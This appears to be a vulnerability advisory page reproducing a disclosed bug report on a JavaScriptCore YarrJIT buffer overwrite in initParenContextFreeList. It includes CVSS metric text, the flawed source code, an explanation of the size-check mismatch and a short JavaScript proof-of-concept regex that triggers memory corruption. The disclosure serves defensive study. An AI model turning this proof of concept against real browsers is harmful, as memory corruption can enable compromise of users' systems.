The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: JSC YarrJIT initParenContextFreeList Byte Overwrite
JSC: YarrJIT: A bug in initParenContextFreeList
void initParenContextFreeList()
{
RegisterID parenContextPointer = regT0;
RegisterID nextParenContextPointer = regT2;
size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes);
parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize);
// Check that the paren context is a reasonable size.
if (parenContextSize > INT16_MAX)
m_abortExecution.append(jump());
Jump emptyFreeList = branchTestPtr(Zero, freelistRegister);
move(freelistRegister, parenContextPointer);
addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer);
addPtr(freelistRegister, freelistSizeRegister);
subPtr(TrustedImm32(parenContextSize), freelistSizeRegister);
Label loopTop(this);
Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister);
storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset()));
move(nextParenContextPointer, parenContextPointer);
addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer);
jump(loopTop);
initDone.link(this);
storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset()));
emptyFreeList.link(this);
}
class PatternContextBufferHolder {
public:
PatternContextBufferHolder(VM& vm, bool needBuffer)
: m_vm(vm)
, m_needBuffer(needBuffer)
{
if (m_needBuffer) {
m_buffer = m_vm.acquireRegExpPatternContexBuffer();
m_size = VM::patternContextBufferSize;
} else {
m_buffer = nullptr;
m_size = 0;
}
}
The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten.
PoC:
let s = '';
for (let i = 0; i < 1000; i++) {
s += '(?:a){0,2}';
}
let r = new RegExp(s);
for (let i = 0; i < 1000; i++)
''.match(r);
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: [email protected]